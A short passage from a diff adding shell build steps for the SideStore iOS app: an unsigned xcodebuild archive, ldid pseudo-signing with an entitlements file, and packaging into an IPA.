\ + CODE_SIGNING_ALLOWED=NO \ + DEVELOPMENT_TEAM=XYZ0123456 \ + ORG_IDENTIFIER=com.SideStore | tee xcodebuild.log | xcpretty + +rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/ +ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore +mkdir Payload +mkdir Payload/SideStore.app +cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/ +zip -r SideStore_MDC_11.ipa Payload